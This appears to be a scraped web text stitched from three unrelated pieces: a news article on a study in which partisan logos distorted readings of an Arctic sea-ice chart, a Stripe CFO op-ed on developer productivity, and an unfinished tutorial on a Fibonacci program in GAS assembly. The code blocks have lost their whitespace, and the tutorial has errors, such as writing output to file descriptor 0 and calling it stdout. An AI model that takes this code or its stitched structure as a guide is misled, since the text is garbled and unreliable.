“The trend showed a steep downward acceleration. Arctic sea ice was decreasing at an alarming rate,” said Damon Centola, a sociologist at the University of Pennsylvania’s Annenberg School for Communication. “What they were shocked to see was that when this information reached conservative pundits and the population as a whole, the data were actually interpreted as showing that Arctic sea ice was increasing.”

The Daily Mail and Fox News reported that Arctic sea ice had experienced “a whopping 60 percent increase” and 2013 had witnessed “global cooling.”

But if you look at the 30-year trend in Arctic ice reported at the time, there is a steady decline — which has continued through this year.

This graph was adapted from NASA’s 2013 public communications about climate change. The graph has been found to produce misinterpretations about the scientific information it communicates because its final data point indicates an increase in the amount of Artic Sea ice in the opposite direction of the overall trend that NASA intended to communicate. Image and caption by Guilbeault D, Becker J and Centola D, PNAS, 2018

Centola’s team wondered how social media had influenced these misinterpretations, so they recruited 2,400 people to join four custom-made social networks. In each of the networks, which were half Democrat and half Republican, the researchers presented a chart (pictured above) and asked the participants to sketch out a prediction for sea ice through 2025.

Three of the social networks allowed the participants to interact with each other by sharing their predictions. The networks varied in their levels of anonymity. One was completely anonymous, and none of the members could see the political affiliations of others; the second showed individuals’ political parties. The third network did not display individual party leanings, but an image of a donkey and an elephant — the logos for both parties — floated at the bottom of the screen.

What the scientists found

In the fourth social network, a baseline group where the participants could not interact at all and instead relied on their own interpretations, Republicans made an inaccurate forecast — that Arctic sea ice was increasing — 40 percent of the time. Democrats missed the mark less often, about 25 percent of the time.

But this contrast disappeared when Democrats and Republicans were allowed to work together in the social network without identifying their political affiliations.

“By the end of this social interaction period, more than 85 percent of Republicans and Democrats agreed that Arctic sea ice was going down,” Centola said, meaning both parties improved their abilities to accurately interpret facts.

This social learning was nonexistent in the network where people could view each other’s party leanings. Republican and Democrats remained stuck in their relative positions, suggesting that partisanship gets in the way of collective intelligence.

This pattern held even for the social network that simply showed the party logos without individual allegiances. This finding suggests that simply seeing political imagery — such as the illustration at the top of this article — can warp a person’s mindset and drive them away from accepting facts, Centola said.

In one social network, users saw how their peers answered the question about Arctic ice change, and their political identities were hidden. However, the presence of political party logos was enough to breed factual misinterpretations. Image by Guilbeault D, Becker J and Centola D, PNAS, 2018

Why it matters

There’s a name for the behavioral pattern observed among participants who saw the logos — priming — and it is common among political and social discourse. Research shows that priming with small partisan cues, whether they involve politics, race or economics, can sway the opinions of people. These knee-jerk decisions happen even if you’re encountering an issue for the first time or have little time to react.

“When people are reminded of their partisan identity — when that is brought to the front of their minds – they think as partisans first and as ‘thoughtful people’ second,” Dannagal Young, a communications psychologist at the University of Delaware, told the PBS NewsHour via email.

Young said this happens because logos prompt our minds to change how they process our goals. When reminded of our partisan identity, we promote ideas that our consistent with our attitudes and social beliefs in a bid to seem like good members of the group — in this case, Democrat or Republican.

Like teenagers at a digital school lunch table, we emphasize our most extreme opinions and place less weight on facts. When partisan cues are stripped away, people made considerations based on objective accuracy, rather than choosing goals by beliefs or peer pressure.

Young said any online social network — including the ones in the study — are conceptually distinct from the way humans exist in the world, but Centola’s experiments offer insights into how partisan cues can affect people’s attitudes and opinions in digital spaces.

Having people on news shows talk about their views on climate change while also hinting at party allegiances could eliminate all of the social learning opportunities that could take place by virtue of this exchange, Centola said. Image by freshidea/via Adobe Stock

The study also offers clues for journalists reporting on partisan issues as well as for the designers of social networks like Facebook, which has pledged to reduce the damage caused by the spread of political news and propaganda on its platform.

“The biggest takeaway for me is that individuals and journalists seeking to overcome partisan biases need to drop the “Republicans say this and Democrats say that” language from their discussion of policy,” Young said. “These findings encourage journalists to cover policy in ways that are more about the substance of the issues rather than in terms of the personalized, dramatized political fights.”

As our global economy increasingly comes to run on technology-enabled rails and every company becomes a tech company, demand for high-quality software engineers is at an all-time high. A recent study from Stripe and Harris Poll found that 61 percent of C-suite executives believe access to developer talent is a threat to the success of their business. Perhaps more surprisingly — as we mark a decade after the financial crisis — this threat was even ranked above capital constraints.

And yet, despite being many corporations' most precious resource, developer talents are all too often squandered. Collectively, companies today lose upward of $300 billion a year paying down "technical debt," as developers pour time into maintaining legacy systems or dealing with the ramifications of bad software.

This is especially worrisome, given the outsized impact developers have on companies' chances of success. Software developers don't have a monopoly on good ideas, but their skill set makes them a uniquely deep source of innovation, productivity and new economic connections. When deployed correctly, developers can be economic multipliers — coefficients that dramatically ratchet up the output of the teams and companies of which they're a part.

If developers are your company's most constraining resource, the key question is how to increase their productivity. As a C-suite exec, there are three ways to help increase the multiplying impact that developers can have for your company.

1. Understand your current costs and opportunity costs. For CFOs this means considering your allocation of developer time just as carefully as you would consider your allocation of dollars (if not more so).

2. Outsource. Fully embrace the cloud. Not just for storage and compute but for every business function that's not unique to your business — from messaging, payments and CRM to planning, accounting and inventory management. Put your developers on higher-impact projects. If you're considering buy vs. build, the answer is simple: buy. Unless you're Amazon or Microsoft, you shouldn't be deploying engineers to build data centers. Similarly, your developers should be working on what makes your business unique.

3. Hire leaders with technical backgrounds. If not C-suite, then as top lieutenants. Including software developers directly in strategic business decisions will ensure you have the right product road map, the right team and ultimately the right technology strategy for long-term success — and that you'll avoid the pitfalls of increased technical debt and unnecessarily wasted developer time for years to come.

As digital transformation remains top of mind for every company, it's critical to empower developers with the tools, infrastructure and guidance to move more quickly. By increasing the multiplying power of developers — the developer coefficient — you can make better use of the resources you have and ignite steeper business growth.

—By Will Gaybrick, Stripe CFO. Gaybrick is a member of the CNBC Global CFO Council

Stemming from my interest in Assembly Language, I was in search of a practical example to start exploring this subterranean wilderland. I thought I’d write a simple ASM application to compute Fibonacci to a given number of iterations.

I had a think about some criteria and restrictions for this little project and came up with the following:

• It must take a value from the command line for the number of iterations
• It must not use the glibc standard library
• It must print the final value in the sequence to the screen

The command line was decided to be used for the number of iterations as it is easily accessible for beginners and had less overhead in setting up. The glibc library was decided to be excluded as I wanted to get down to the nuts and bolts of printing and manipulating strings. The requirement to only print the final value in the sequence was more to keep the logic of the application simple enough to express the features of assembly without unnecessarily complicating things.

Following along at home

The source code for what I describe here can be found in a repository I have created that contains all the examples described. It also has shell scripts for:

• Running the scripts in a Docker container with all the required tools installed (docker-shell)
• Compiling the examples (make-app)

A beginning

I found a good blog about different approaches to Fibonacci Equations here and armed with the new knowledge from reading a couple of books on the subject (specifically, Assembly Language Step-by-Step and Professional Assembly Language) I set out to implement this.

Some starting knowledge

The basis of the algorithm to use was decided to be a space-optimised method using a dynamic programming approach. This effectively means using an array on the stack to hold our values while giving O(n) time and space complexity.

The code used as a basis is shown below:

//Fibonacci Series using Dynamic Programming#include<stdio.h>intfib(int n)
{/* Declare an array to store Fibonacci numbers. */int f[n+2];   // 1 extra to handle case, n = 0int i;/* 0th and 1st number of the series are 0 and 1*/
  f[0] =0;
  f[1] =1;for (i =2; i <= n; i++)
  {/* Add the previous 2 numbers in the series and store it */
    f[i] = f[i-1] + f[i-2];
  }return f[n];
}intmain ()
{int n =9;
  printf("%d", fib(n));
  getchar();return0;
}

Overview of the implementation

The implementation involved the following functionality:

• Getting the length of the command line argument
• Converting the command line argument from a string to a long (unsigned 32-bit number)
• Calculating Fibonacci
• Printing the long as a string to stdout

Beginning the implementation

Ok, so at this point we have the basis for an algorithm in assembly based on our C code but how can this be implemented in ASM?

There are numerous formats of Assembly Language including NASM, GAS and MASM among others. I’m working on a Linux box and so MASM was out of the question as it is the Microsoft Assembler.

I decided to go with GAS, the GNU Assembler, as it is cross-platform and is a good general purpose assembler. This also gave me the ability to cheat in my implementation (which I didn’t), as using gcc, a valid C application can be converted into intermediate GAS assembly language.

I decided the number of iterations of Fibonacci would be determined from the command line as an argument to the application. It would expect a valid number from the user and convert this from a string to a number. The Fibonaci sequence would then be iterated n number of times.

The Fibonacci algorithm would have to create an array of lenth n+2 on the stack based on the user input. Another variable (as the variable i shown above) would be used as a counter.

The first two elements of the array would be pre-populated with 0 and 1 respectively, as at least these two numbers are used when calculating new values. This can be considered a type of ‘seed’ for our algorithm.

A loop is then started with the counter set to 2 that iterates until the counter is greater than or equal to the number of iterations, n, and where the counter is increased by 1 on each iteration.

Inside the loop, for the array position in the stack, and based on the counter value, the i-1 value is added to the i-2 value on the stack and the result is placed on the stack at the current location allowing it to be used for the next iteration.

Once the final value of Fibonacci is determined, a function is called to convert the number into a string and print it to stdout.

The application then needs to exit gracefully and return control to the shell.

Building binary files from assembly files

We will start with the following assembly code. This gives us a basis for filling out our application:

fib1.s

# framework.section.text.globl_start
  _start:nop# the rest of our program goes heremovl$1, %eaxmovl$0, %ebxint$0x80

The structure of a GAS assembly file

Sections

In the code above, the line .section .text indicates that the lines preceeding it will be part of the ‘text’ section. The text section is a specific section in the compiled binary that contains all the assembly language instructions converted to machine code. The machine code is the binary representation of the assembly language instructions and is one of the main tasks of the assembler. By default in a Linux application there are also sections called .data and .bss that refer to initialised variables and uninitialised variables respectively. We won’t delve into these types of variables but it is good to know they exist for more advanced development in assembly code.

The code above introduces some of the syntax of a GAS assembly file (.s). Comments begin with a hash (#) and can be at the start of a line or after an instruction/opcode.

Instructions and opcodes

An instruction/opcode is essentially an instruction for the CPU to process. Examples of intructions in fib1.s above include:

• nop
• movl $1 %eax
• movl $0, %ebx
• int $0x80.

I will use the terms instruction and opcode interchangeably, but they are essentially a mnemonic in assembly language that tells the CPU what to do. Opcodes/instructions can also have one or many operands depending on what the opcode does. Operands are the values that the opcode act upon and specify what the opcode does.

For some context from the example above, we can see the following delineation:

The first movl instruction copies a long (4-byte) value of 0 into the register eax. The second does the same with 1 and the register ebx respectively. There are a few different variations of the mov command for copying values to and from registers.

These are namely:

• movl - copy a long, 4-byte value (32-bits)
• movw - copy a word, 2-byte value (16-bits)
• movb - copy a byte, 1-byte value (8-bits)

It is important to know what type of mov instruction to use as there are times when you will want to move just a single byte, a word, a long (or double-word), or some other length. Larger lengths will usually require a loop or some other method when working on a 32-bit x86 architecture.

A few extra things to note about the above instructions are:

• The $1 and $0 operands are called immediate values and are an exact value, as specified by the $ prefix.
• Registers are prefixed with a percentge sign (%).
• A value starting with a 0x is a hexadecimal number and includes values 0-9 and a-f.

The application entry-point and labels

For Linux applications, the _start: label is required by the assembler to define the entry point to the binary application. All labels finish with a colon (:) to indicate that it is a label. The assembler also requires the entrypoint to be made ‘global’ so that other binaries, and the operating system knows that the label has been exposed by the binary. This is the reason for the line .globl _start preceeding the label _start and is used more when working with multiple assembly files that need to be compiled together.

Compiling our code

We’re working backwards a bit here as we’ve implemented our entrypoint (_start) and our syscall to exit first. The syscall using eax=1 and ebx=0 with int 0x80 allows our program to exit gracefully. As noted by the comment, we shall fill in the logic from the middle as we progress.

Ok, so we’ve got a framework of GAS assembly to build on, but how do we convert this into an application?

Well, it’s easy. I’m glad you asked.

Firstly we need to make sure our GAS assembler is installed. I’m on Fedora, so the command is sudo dnf install binutils. From the supplementary repository, the docker-shell application can spin you up an environment with the required tools already installed.

Then we create a small shell script to run the GAS assembler (as) and the linker (ld) on the output of the assembler.

Say for example we call our assembly code file fib1.s, to run the assembler we would run as -gstabs -o fib.o fib.s

• -gstabs adds debugging info
• -o fib.o specifies our object file
• fib.s is our source code

The object file is a binary with all the symbols and source included, which included the raw machine code to run. We then link the resultant object file to convert our object file into a binary application. The linker also converts our symbolic references (such as \_start in our case) to relative numeric references to where the symbols will reside in memory when the binary is run as an application.

If we were to run ld -o fib fib.o, we should now have a new binary application with the permissions 0755 set. If you run the application it will do nothing. But more importantly, it won’t segfault, which is a good thing and indicates the application has exited gracefully.

• -o fib specifies the output application name.
• fib.o specifies the object file to use.

The linker has other features (which I won’t discuss here) that make your life easier as an assembly language programmer.

We will be targetting the 32 bit x86 architecture to begin with as it is easier to understand. The following is a bash script for building the binary (also in the supplementary repo as make-app).

make-app

#!/bin/bashif[ -z "$1"]; then
  app_name=fibelse
  app_name=$1fi

rm $app_name.o $app_name 2> /dev/null

as --32 -gstabs -o $app_name.o $app_name.s
ld -m elf_i386 -o $app_name $app_name.o

Makefiles are the status-quo for building assembly files, but I’m more used to working with bash scripts so the preceeding is a script that can be used to compile a single assembly file into a binary targetting 32 bit x86, and as we are working with a small number of files, we do not need some of te more advanced features of make anyway.

If a name is passed on the commandline, it will attempt to compile the corresponding .s file.

For example:

./make-app fib2

will build a binary called fib2.

Reading from the process arguments and converting to a numeric value

If we call our binary from the commandline like:

./fib2 test

The arguments are already placed into the stack for us, courtesy of the Linux kernel, along with all the environment variables of the parent process. All we should have to do, to begin with, is find the value in the stack where the argument is and then convert it to a string and print it to stdout.

The stack is upside down in memory (with the last addition to the stack at the lower memory address), and so we traverse up the stack to find the first argument.

The stack is composed as follows:

We know that we are just after the first string argument so we can predict that the pointer to the first string argument will be 2 places up the stack from the current value of ESP. We are using 32 bit locations here, where every pointer is 4 bytes ( 4 x 8 bytes = 32 bits ).

This means that our first command line argument is at the location ESP + 8. This is because the Stack Pointer ESP can directly reference every byte in memory, and we are looking for the location 2 up from it’s current location, effectively 2 x 4 bytes.

We want to move this into a register and print it out so we know we have the correct location. This will also show us what we need to do to print the final value.

As a final step in obtaining the value from the command line, the system call (also known as a software interrupt, as int 0x80) to write to stdout requires the length of the string that is to be processed.

Debugging with GDB

It would almost be impossible for a mere mortal to understand what is going on without a debugger, and remiss of me to go through this example without explaining some basics of how to use an asm debugger. I chose to use GDB as it outputs to GAS assembly and there is plenty of information on how it works online.

We’ll use the following code (as per fib2.s) and load it into GDB with the command line argument ‘test’, such that once we’ve made fib2, we can run gdb --args ./fib2 test. Gdb will load the binary with the argument specified and wait at it’s REPL prompt for further instructions.

fib2.s

# stack args example.section.text.globl_start
  _start:nopmovl %esp, %ebp     # take a copy of the stack pointer esp into ebpaddl$8, %ebp       # address of first arg in stackmovl (%ebp), %ecx   # move the address of the first arg into ecxmovl$4, %edx       # set the length of our string to 4movl$4, %eax       # indicate to int 0x80 that we are doing a writemovl$0, %ebx       # indicate to int 0x80 that we are writing to file descriptor 0int$0x80# call int 0x80 for writemovl$1, %eax       # exit gracefullymovl$0, %ebx       # with return code 0int$0x80#callint0x80forexit

Gdb is a very powerful debugger and has many options that I’m still getting across, but for these examples we will use a small subset of it’s functionality to:

• step through our code
• inspect memory values
• inspect registers

At the GDB prompt, if we enter the command list we can see the start of the source code for the fib2 app we have loaded, including line numbers. We can set a breakpoint for a corresponding line number to start our debugging at by typing breakpoint n, or just b n, where n is our line number.

For example:

(gdb) list
1       # stack args example
2       .section .text
3       .globl _start
4         _start:
5           nop
6           movl %esp, %ebp     # take a copy of the stack pointer esp into ebp
7           addl $8, %ebp       # address of first arg in stack
8           movl (%ebp), %ecx   # move the address of the first arg into ecx
9           movl $4, %edx       # set the length of our string to 4
10          movl $4, %eax       # indicate to int 0x80 that we are doing a write
(gdb)

For this example, if we enter b 5, a breakpoint will be set at line 5, ready to be executed. Line 5 is a no-operation (or noop), which means that it is a filler instruction and doesn’t actually do anything but take up a CPU clock cycle. Older versions of GDB require this proceeding _start, and so I have left it in for these examples.

(gdb) b 5
Breakpoint 1 at 0x8048054: file fib2.s, line 5.
(gdb)

To run the binary up to the breakpoint, we can enter r or run. This will run through the binary up to but not including line 5.

(gdb) r
Starting program: /gas-asm-fib/fib2 test

Breakpoint 1, _start () at fib2.s:5
5           nop
(gdb)

From here, we can step through the remaining instructions, one at a time by entering ‘stepi’, which will run the current instruction and list the next instruction to be run. There is also the step instruction which is used more for high-level languages and steps over groups of instructions for each line of code; but for assembly, we can be more certain that each instruction will get hit if we use stepi.

(gdb) stepi
6           movl %esp, %ebp     # take a copy of the stack pointer esp into ebp
...
(gdb) stepi
(gdb) stepi
(gdb) stepi
...
(gdb) stepi
10          movl $4, %eax       # indicate to int 0x80 that we are doing a write

Entering stepi several times up to line 10, we shoud have the address of the first argument in the register ecx. The preceeding instruction moves, or copes the decimal value 4 into the register eax.

To see what all the values of the registers are, we can enter info registers or just info reg:

gdb) info reg
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xffffd8c0       0xffffd8c0
ebp            0xffffd8c8       0xffffd8c8
esi            0x0      0
edi            0x0      0
eip            0x804805a        0x804805a <_start+6>
eflags         0x282    [ SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb)

This shows us that the value of ebp is 0xffffd8c8 which corresponds to an address in our stack. This value is very close to that of esp (0xffffd8c8), as the two are usually used in conjunction to traverse the stack.

We can see there is also the register eip with the value 0x804805a at a much lower value. This is the extended instruction pointer that points to the current instruction that our application is running. The application’s instructions reside in an area of memory referenced in our assembly code as the .text section.

Ry convention on Linux, the stack is at the top of memory and our intructions are close to the bottom of memory. The way this is done is by virtual paging so it appears to the application that it has all of physical memory, but it is only mapped pages that appear, so it is just an illusion until the application needs to read or write from a memory address. The size of virtual memory is all of the addressable memory space, can be many times larger than the physical memory space, and appears to the application that it is exclusively owned by the application.

Coming back to the ecx register, we can eXamine what is in memory at the address referenced by ecx using the x/ notation.

The x/ notation takes up to three components. For example:

x/5s ($ecx)

Examines: - the first 5 - strings - starting at the address pointed to by the register ecx

and will output something similar to the following:

(gdb) x/5s ($ecx)
0xffffd9d3:     "test"
0xffffd9d8:     "LESSOPEN=| /usr/bin/lesspipe %s"
0xffffd9f8:     "HOSTNAME=fc9dd5d874b7"
0xffffda0e:     "SHLVL=1"
0xffffda16:     "HOME=/root"
(gdb)

Many other formats can be printed including ©har (d)ecimal and (t)binary among others. For more information on this, enter help x from the GDB REPL.

We can clearly see our first command line argument here, “test” followed by some environment variables.

The remainder of the application prints the first 4 characters of the string pointed to by the address in ecx, then exits gracefully. The parenthesis around the register indicates we are interested in examining the address pointed to by the register and not the value of the register itself. From the GDB REPL, when referencing registers, you may have noticed that they are referenced with a dollar sign ($) instead of the percentage sign ($) used in our assembly code. This is a small but important difference to note.

To run the app to completion enter continue or just c.

We will see the command line argument printed out followed by the app exiting as below.

(gdb) c
Continuing.
test[Inferior 1 (process 24) exited normally]
(gdb)

Notice that there is a message directly after our string. This is because the command line argument did not have a newline character (\n) and so the GDB message was printed immediately after it.

Up to this point, we should have an app that can read and print the first four characters of the first argument passed on the commandline when our application is called.

Using our docker-shell environment, the following should work:

root@9a172ec363ca:/gas-asm-fib# ./make-app fib2
root@9a172ec363ca:/gas-asm-fib# ./fib2 test
testroot@9a172ec363ca:/gas-asm-fib#

But what if we were to enter ./fib2 testing? We’d still just get test returned. Or worse still, if we enter less than 4 characters we get garbage printed from memory to make up the 4 characters. This is far from ideal for processing our commandline arguments.

What we need is a way of determining the length of the argument in the stack. This is where the instruction pair repne scasb comes in useful.

The following is an implementation of:

• Finding the length of our first argument
• Printing the string pointed to by the address of the first argument to the length determined

I’ll show the code below then describe how it works.

fib3.s

# framework - get first argument from the command line and print to stdout.section.text.globl_start
_start:nopmovl %esp, %ebp     # take a copy of esp to useaddl$8, %ebp       # address of first arg in stackmovl (%ebp), %edi   # move arg address into esi for scasbpush %edi           # store the string address as edi gets clobberedmovl$50, %ecx      # set ecx counter to a high valuemovl$0, %eax       # zero al search charmovl %ecx, %ebx     # copy our max counter value to edxcld# set direction downrepnescasb# iterate until we find the al charmovl %ecx, %edx     # move count into edxsubl %ecx, %ebx     # subtract from our original ecx valuedec %ebx            # remove null byte at the end of the string from the countpop %ecx            # restore our string address into ecxmov %ebx, %edx      # move our count value to edx for the int 80 callmovl$4, %eax       # set eax to 4 for int 80 to write to filemovl$0, %ebx       # set ebx for file to write to as stdoout (file descriptor 0)int$0x80# make it somovl$1, %eax       # set eax for int 80 for system exitmovl$0, %ebx       # set ebx for return code 0int$0x80#makeitsoagain

Building and running this from the docker-shell we can see that the full first argument is now displayed:

root@8ec496c15833:/gas-asm-fib# ./make-app fib3
root@8ec496c15833:/gas-asm-fib# ./fib3 testing
testingroot@8ec496c15833:/gas-asm-fib#

Excellent, I hear you say, but how does it work? I’m glad you asked.

So what happens from the line movl $50, %ecx up to repne scasb, the registers are being set up to run repne scasb. The instructions repne scasb work on strings specifically to determine their length. It iterates through memory starting at the address pointed to by edi and compares each byte to the byte stored in the lower byte of eax.

The following is a table of what registers need to be set and what they do:

The register ecx is considered the defacto count register on the x86 architecture and repne scasb implicitly uses this register to iterate, starting from the address in the edi register until either: - it finds a byte in memory specified in the lower byte of the eax register (in our case 0x00) - the ecx register reaches 0

The opcode cld sets a flag for the count direction as downward.

And so repne scasb iterates, doing the following: - starting at the address edi - decrementing ecx by 1 - incrementing edi - comparing the byte poined to by the new location of edi to the value stored in the lower byte of eax.

For example, if we were to call from the commandline:

$ ./fib3 testing

and then we inspect our registers after stepping past repne scasb, we should see a value in ecx that is 50 - ( len(‘testing\0’) - 1 ). Which effectively equals 42. As repne scasb includes the byte it is searching for in the count, we need to subtract 1 from the length of our string. We then subtract the result in ecx from our original maximum length of 50 to find the actual length of the string that we want to print.

This gives 50 - 43 = 7 and is what the following lines do:

movl %ecx, %edx     # move count into edxsubl %ecx, %ebx     # subtract from our original ecx valuedec %ebx            # remove null byte at the end of the string from the countpop %ecx            # restore our string address into ecxmov %ebx, %edx      #moveourcountvaluetoedxfortheint80call

Our string length is copied from ebx into the edx register so that the int 0x80 call to write to stdout can then be performed to print the correct number of characters to the screen. There is also a push and pop instruction in fib3.s that firstly stores a copy of the address of our argument in edi then restores it into ecx. This is done as ecx is used for the address of the string to write to stdout, and the repne scasb instruction loop destroys this value in the edi register. Using push and pop, we can preserve the address of the string on the stack from edi and restore it into ecx when we need to use it later on._

Assembly language has the concept of functions that allow for reuse of code. The two instructions invloved with this are call and ret. What these do is allow jumping to a label in your code with a call and then return to the position in the calling code using a ret. Each time a call is encountered, the current address of the instruction, pointed to by the register eip is pushed onto the stack, the stack counter is decremented accordingly and the eip register is set to the memory address pointed to by the new instruction of the label specified by the call instruction.

For example, if we had a label somewhere in our code called print_value: and somewhere else in the code an instruction such as call print_value, this would move execution control of our application to the label specified. We can then do some processing as part of a subroutine and when we are finished printing a value, for example, we can return control back to the calling code and at the instruction just after the call print_value instruction.

The instruction ret doesn’t take a label as an operand as it just uses the last address on the stack. It is for this reason that it is important to make sure the stack always keeps the return address as the last value placed on the stack when using call and ret.

It is also for this reason that when using the stack for local variables, that we don’t actually use the esp register for any operations, but a copy of it in ebp. This way we can be certain that the stack pointer (esp) is always a correct return address. As our local variables are just that, when we return control to the calling code, the variables we have placed there are no longer considered important and the memory addresses are considered free to be written over.

The following is what we have done so far as being refactored into separate functions.

fib4.s

# framework - refactor into separate functions.section.text.globl_start# entrypoint of application_start:nopmovl %esp, %ebp     # take a copy of esp to useaddl$8, %ebp       # address of first arg in stackmovl (%ebp), %edi   # move arg address into esi for scasbpush %edi           # store the string address as edi gets clobberedcallget_string_lengthpop %ecx            # restore our string address into ecxcallprint_stringcallexit# get length of string pointed to by edi and place result in ebxget_string_length:movl$50, %ecx      # set ecx counter to a high valuemovl$0, %eax       # zero al search charmovl %ecx, %ebx     # copy our max counter value to edxcld# set direction downrepnescasb# iterate until we find the al charmovl %ecx, %edx     # move count into edxsubl %ecx, %ebx     # subtract from our original ecx valuedec %ebx            # remove null byte at the end of the string from the countret# print the string in ecx to the length of ebxprint_string:mov %ebx, %edx      # move our count value to edx for the int 80 callmovl$4, %eax       # set eax to 4 for int 80 to write to filemovl$0, %ebx       # set ebx for file to write to as stdoout (file descriptor 0)int$0x80# make it soret# exit the applicationexit:movl$1, %eax       # set eax for int 80 for system exitmovl$0, %ebx       # set ebx for return code 0int$0x80#makeitsoagain

We can see here that we still have the label _start but we also have the additional labels of: - get_string_length - print_string - exit

This helps greatly for the readability of our code. We can see that all the calls are done from the _start label and each section of code concludes with a ret instruction, except for the exit label, which exits our application.

When using labels and functions, it helps to add comments at the start of the section of code indicating what the expected state of any registers and memory should be, what is actually done by the code and what is expected to be returned by the code. The comments above are very brief, but we will see later greater use of this approach.

Another thing to note is that breaking our code into small, reusable chunks like this allows us to split our code into separate files for reuse across multiple projects which further enables reuse.

Now that we can read arguments from the command line and print them to the screen (sdout), we want to actually start using the command line argument to specify the number of iterations for our Fibonacci sequence. This involves reading the string from the command line and converting it to a number. The input from the command line will be in ASCII format, and so a numeric value in a string is not an actual numeric value for use in our application - hence the conversion.

fib5.s

# framework - convert string to number.section.text.globl_start# entrypoint of application_start:nopmovl %esp, %ebp     # take a copy of esp to useaddl$8, %ebp       # address of first arg in stackmovl (%ebp), %edi   # move arg address into esi for scasbpush %edi           # store the string address as edi gets clobberedcallget_string_lengthpop %edi             # get edi string addr then push it as we are going to clobber itpush %edicalllong_from_stringcmpl$0, %eaxjeexitcallfibonaccicallexit# using address of string edi# use eax register to store our result# jump to done if not a number# if numeric# subtract 48 from the byte to convert it to a number# multiply the result by 10 and add the number to eax# multiply the result register eax by 10# loop until the ecx counter has reached a non-numeric (null byte) and return
long_from_string:xor %eax, %eax # set eax as our result registerxor %ecx, %ecx # set ecx(cl) as our temporary byte register.top:movb (%edi), %clinc %edi# check if we have a valid number in edicmpb$48, %cl  # check if value in ecx is less than ascii '0'. exit if lessjl.donecmpb$57, %cl  # check if value in ecx is greater than ascii '9'. exit if greaterjg.donesub$48, %climul$10, %eaxadd %ecx, %eaxjmp.top
.done:ret

fibonacci:
    ret# get length of string pointed to by edi and place result in ebx
get_string_length:movl$50, %ecx      # set ecx counter to a high valuemovl$0, %eax       # zero al search charmovl %ecx, %ebx     # copy our max counter value to edxcld# set direction downrepnescasb# iterate until we find the al charmovl %ecx, %edx     # move count into edxsubl %ecx, %ebx     # subtract from our original ecx valuedec %ebx            # remove null byte at the end of the string from the countret# print the string in ecx to the length of ebx
print_string:mov %ebx, %edx      # move our count value to edx for the int 80 callmovl$4, %eax       # set eax to 4 for int 80 to write to filemovl$0, %ebx       # set ebx for file to write to as stdoout (file descriptor 0)int$0x80# make it soret# exit the application
exit:movl$1, %eax       # set eax for int 80 for system exitmovl$0, %ebx       # set ebx for return code 0int$0x80#makeitsoagain

This is quite a bit more code than before. We’ll go though it in detail now so it all makes sense.

Some new functions

We can see here that two new functions have been added in the form of long_from_string and fibonacci. The label fibonacci is just a placeholder at the moment, but long_from_string has our logic for converting a string into a 32-bit long.

The first thing you may notice in long_from_string is that we now have two extra labels: - .top - .done

These labels start with a period (.) to indicate to the assembler that they are labels local to the file. This is useful when large amounts of assembly code are compiled so that the compiler doesn’t confuse having two labels with the same name.

From a visual inspection of this function, we can see that there are some cmp instructions and some instructions staring with a j such as jl, jg and jmp. These are jump instructions and are used in conjunction with our labels to tell the eip register to jump to a certain location in our code to continue running. This is not too dissimilar to the call instructions described previously, except they don’t modify the stack with a return address.

Jump instructions are very useful for loop type logic such as for, while and do loops, and even conditional statements like if and case that you may be familiar with from other languages. They can, however have performance impacts for performance-critical sections of code under some circumstances.

When the function long_from_string is called from the _start section, we make the assumption that the address of our string has been placed in the edi register, ready for processing. We also assume that the calling function knows that the numeric result will be placed into the eax register at completion of the function. It is a convention in assembly language that the result from a function is placed into the eax register. For more complex return types, an address that points to an array or struct or some other complex type can be specified in eax. This same convention is used in the C language for returning values from functions.

Zeroing registers

At the very beginning of this function, we use xor to zero-out the eax and ecx registers as these are used for calculating our result. Using xor is seen as an efficient way of setting a register to zero. An alternative is to use something like movl $0, $eax. The xor method under older processors used less clock-cycles than mov. There is probably not much difference between the two these days.

We then enter our loop, starting at ‘.top’, which points to the next instruction, movb ($edi), $cl. What this mov instruction does is copy the first byte from our string array into the lower part of the ecx register, or cl. This is in effect the first byte of the first argument from the command line.

For example, if the command line were ./fib5 123, then the cl register would now contain the ASCII representation of the character ‘1’. This ASCII representation is not actually the value 1, but the decimal value 49 which represents the ASCII character ‘1’. There are many references online for conversions between ASCII representations and their numerical value. There is a chart here for your convenience.

Register sizes and layout

Another thing to note about this instruction is that we have only copied a single byte (8 bits) into cl, and that cl actually makes up part of the ecx register. There are both cl and ch registers that are a subset of ecx on 32 bit CPU architectures, and all 3 are a subset of rcx on 64 bit CPU registers.

The following is a diagram of how these fit together:

This type of layout is the same for all of the general purpose registers including eax, ebx, ecx and edx.

There is a good diagram and reference of these registers here.

Processing the string

Coming back to our function, we then increment the edi pointer to point to the next memory location in our string, ready for processing, but continue processing the value in cl.

Next, we compare our value in cl to both 48 and 57 and jump to .done if the value falls outside of this range. This is done as the ASCII string values 0-9 fall in this range of decimal values 48-57.

Our conditions for exiting the loop on an invalid input are thus:

• After the comparison to 48, if the result is lower than 48, we jump to .done with jl, or jump if lower.
• After the comparison to 57, if the result is greater than 57, with ‘jg’, we also jump to .done.

As our string is null-terminated (with a value of 0x00 or $0), the usual case would be that we jump to .done after all characters have been processed or a non-numeric string character is encountered as the value 0 is outside the range of 48-57.

After these comparisons, the actual string processing is done as per below:

sub$48, %climul$10, %eaxadd %ecx, %eaxjmp.top

At this point it is relatively straight-forward what occurs, but I will describe it here for completeness:

• Our value in cl has 48 subtracted from it to convert it to a decimal value.
• Our existing value in our result register eax is multiplied by 10 (the first iteration will have no effect as it starts at 0)
• Our decimal value in cl is added to our result register eax
• The whole process repeats until the end of the string

One thing to note about imul is that it multiplies a register (e.g. eax) by a value (e.g. $10) and places the result in the same register (e.g. eax). This is considered a destructive operation as the initial value is not preserved.

It has been a long time coming to this point where I can actually show you the implementation of Fibonacci being calculated with assembly language. In fib6.s we implement this logic. I will show an excerpt of it below for brevity and describe how it works.

# input: eax holds our fibonacci n# processing: iterate the fibonacci sequence n times# output: return our fibonacci result in ebx
